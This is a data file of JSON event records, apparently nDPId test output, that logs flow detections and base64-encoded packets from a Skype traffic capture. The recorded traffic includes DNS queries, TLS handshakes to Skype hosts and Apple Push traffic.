+00652{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":44,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1431970635433,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63661,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"e4593.g.akamaiedge.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00477{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":489303,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"PBXCt3IO0NQSxnP1CABFAABUAABAAEARtyXAqAEBwKgBIgA1+K0AQBV0hgaBgAABAAEAAAAABWU0NTkzAWcKYWthbWFpZWRnZQNuZXQAAAEAAcAMAAEAAQAAAAMABBfOIaY="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":48,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":2,"flow_first_seen":1431970635433,"flow_last_seen":1431970635489,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":48,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63661,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"e4593.g.akamaiedge.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"23.206.33.166"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":49,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1431970635489,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"23.206.33.166","src_port":51231,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":489934,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAPS1AAEAGAk3AqAEiF84hpsgfAbv4Tz2XAAAAALAC\/\/9zuAAAAgQFtAEDAwUBAQgKPjGKEwAAAAAEAgAA"} +00452{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":531097,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDdt0AAEARgFnAqAEiwKgBAeUHADUAL+4jvNsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00453{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":531215,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDiigAAEARbQ7AqAEiwKgBAe0QADUAL\/kqxMsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} +00445{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":534408,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADkGRn4XziGmwKgBIgG7yB8YNTxd+E89mKASOJCdjgAAAgQFrAQCCArsPW3FPjGKEwEDAwU="} +00434{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":534489,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0P2xAAEAGABrAqAEiF84hpsgfAbv4Tz2YGDU8XoAQECz0iAAAAQEICj4xij\/sPW3F"} +00688{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":535479,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADta4RAAEAG00jAqAEiF84hpsgfAbv4Tz2YGDU8XoAYECwtoAAAAQEICj4xikDsPW3FFgMBALQBAACwAwNVWiNLhX\/\/ejAO4KpxNC8\/ZrCwmmE9wkU90zxCDkcIKAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":54,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":4,"flow_first_seen":1431970635489,"flow_last_seen":1431970635535,"flow_tot_l4_data_len":333,"flow_min_l4_data_len":32,"flow_max_l4_data_len":217,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"23.206.33.166","src_port":51231,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"apps.skype.com","ja3":"799135475da362592a4be9199d258726","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00444{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":681147,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA762oAAEARC9TAqAEiwKgBAfrwADUAJ8Zq760BAAABAAAAAAAAA2FwaQVza3lwZQNjb20AAAEAAQ=="} +00445{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":681276,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7\/zoAAEAR+APAqAEiwKgBAcLIADUAJ6plKNsBAAABAAAAAAAAA2FwaQVza3lwZQNjb20AABwAAQ=="} +00450{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":827854,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/rmUAAEARSNXAqAEiwKgBAfWbADUAK9VUuF8BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAABAAE="} +00451{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":828004,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/dFsAAEARgt\/AqAEiwKgBAebpADUAK335A20BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAAcAAE="} +00465{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":828106,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLWNIAAEARnlzAqAEiwKgBAeD4ADUANz9NJ5kBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAABAAE="} +00465{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":828184,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLGiMAAEAR3QvAqAEiwKgBAdB8ADUAN25j7f4BAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAAcAAE="} +00688{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":871447,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtH0JAAEAGH4vAqAEiF84hpsgfAbv4Tz2YGDU8XoAYECwsUwAAAQEICj4xi43sPW3FFgMBALQBAACwAwNVWiNLhX\/\/ejAO4KpxNC8\/ZrCwmmE9wkU90zxCDkcIKAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":72,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1431970636044,"flow_last_seen":0,"flow_tot_l4_data_len":229,"flow_min_l4_data_len":229,"flow_max_l4_data_len":229,"flow_avg_l4_data_len":229,"midstream":1,"l3_proto":"ip4","src_ip":"17.143.160.149","dst_ip":"192.168.1.34","src_port":5223,"dst_port":50407,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00701{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":44810,"pkt_caplen":263,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":263,"pkt_l4_len":229,"pkt":"PBXCt3IO0NQSxnP1CABFAAD5QB1AADEGlPMRj6CVwKgBIhRnxOfKLqrmIALxFIAYAQoi5AAAAQEIClVX3cw+MS9sFwMBAMAQLvPrUolszeBH4PjooKgoykESMntuxk1Te2w+x8Oya6GSybBw6qqEM+wWK2sXwWrrizJ5XKzKOAmSZesb7xCcv3da\/+28YcXK\/F7zVFmE31vvvLV8YkG8GBOlPbpZKZERb9mwy2LwmHQtz7O0hAoAaXw9xzeYM92S6l8kX5r5cFIIVhHHc18X56Qt2VFcbjB+OTKH9K3bn722DOl83K579IAjLFDRbrYAdebZ2GL8xgCQwxYSG690LowE4mV3zjs="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":72,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1431970636044,"flow_last_seen":0,"flow_tot_l4_data_len":229,"flow_min_l4_data_len":229,"flow_max_l4_data_len":229,"flow_avg_l4_data_len":229,"midstream":1,"l3_proto":"ip4","src_ip":"17.143.160.149","dst_ip":"192.168.1.34","src_port":5223,"dst_port":50407,"l4_proto":"tcp","ndpi": {"proto":"ApplePush.Apple","breed":"Safe","category":"Cloud"}} +00433{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":44874,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0K69AAEAGmybAqAEiEY+glcTnFGcgAvEUyi6rq4AQD\/mVBgAAAQEICj4xjDlVV93M"} +00556{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":45750,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"0NQSxnP1PBXCt3IOCABFAACO6xNAAEAG22fAqAEiEY+glcTnFGcgAvEUyi6rq4AYEAB7VwAAAQEICj4xjDlVV93MFwMBACDcBm8C5CuEds5WH7uOVSaoSAeWe3pVfjpiQwGsBHUCdhcDAQAwqX6WBIxQfVe36rHY2TMg9Ev1HCHJmLbDku3Ki37TObTq6YVIEEF1VGVKw\/q+D6y6"} +00433{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":261075,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0QB5AADEGlbcRj6CVwKgBIhRnxOfKLqurIALxboAQAQqiwwAAAQEIClVX3qQ+MYw5"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":87,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1431970636300,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":50055,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":300980,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLV\/cAAEARnzfAqAEiwKgBAcOHADUANwqgVG4BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":87,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1431970636300,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":50055,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"pipe.prd.skypedata.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":88,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1431970636301,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":51753,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00465{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":301275,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLvh0AAEARORHAqAEiwKgBAcopADUAN1kA5GsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00660{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":88,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1431970636301,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":51753,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"pipe.prd.skypedata.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":94,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1431970636340,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.28","src_port":51232,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":340726,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAozBAAEAGBGnAqAEinTg0HMggAbskulgsAAAAALAC\/\/+RjgAAAgQFtAEDAwUBAQgKPjGNXAAAAAAEAgAA"} +00688{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":342517,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADt1GlAAEAGamPAqAEiF84hpsgfAbv4Tz2YGDU8XoAYECwqgwAAAQEICj4xjV3sPW3FFgMBALQBAACwAwNVWiNLhX\/\/ejAO4KpxNC8\/ZrCwmmE9wkU90zxCDkcIKAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00446{"flow_id":10,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":369700,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA89txAAEAGsMDAqAEinTg0HMgdnEkK2QS07hN6BYAYECkBeAAAAQEICj4xjXhMX+qKABUsdMFxBVE="} +00442{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":420208,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6ONsAAEARvmTAqAEiwKgBAfgaADUAJptGWcsBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00449{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":420424,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAsV0AAEARRdzAqAEiwKgBAdb0ADUALMTUeDABAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00450{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":420514,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAQaoAAEARtY\/AqAEiwKgBAf3LADUALKDXdTsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00446{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":573497,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGtJ2dODQcwKgBIgG7yCDj6Zk0JLpYLaASOJC0hQAAAgQFrAQCCApMX+vyPjGNXAEDAwk="} +00434{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":573618,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0faxAAEAGKfnAqAEinTg0HMggAbskulgt4+mZNYAQECwKzQAAAQEICj4xjj9MX+vy"} +00534{"flow_id":22,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":573687,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB86nFAAEAGvOvAqAEinTg0HMggAbskulgt4+mZNYAYECy7QQAAAQEICj4xjj9MX+vygEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIDl0puQwf7XnF3q02i5lo\/0"} +00453{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":624250,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDZH4AAEARkrjAqAEiwKgBAeUHADUAL+4jvNsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00454{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":624440,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDjbsAAEARaXvAqAEiwKgBAe0QADUAL\/kqxMsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} +00435{"flow_id":22,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":773123,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0dRZAADMGP4+dODQcwKgBIgG7yCDj6Zk1JLpYdYAQAB0aYgAAAQEICkxf7CQ+MY4\/"} +00477{"flow_id":22,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":773188,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"0NQSxnP1PBXCt3IOCABFAABQopZAAEAGBPPAqAEinTg0HMggAbskulh14+mZNYAYECzKjAAAAQEICj4xjwVMX+wkj\/+\/FJjGnvuHRd2oWYqGsDWb1go6xLS\/RXUyPQ=="} +00445{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":780087,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7VPMAAEARokvAqAEiwKgBAfrwADUAJ8Zq760BAAABAAAAAAAAA2FwaQVza3lwZQNjb20AAAEAAQ=="} 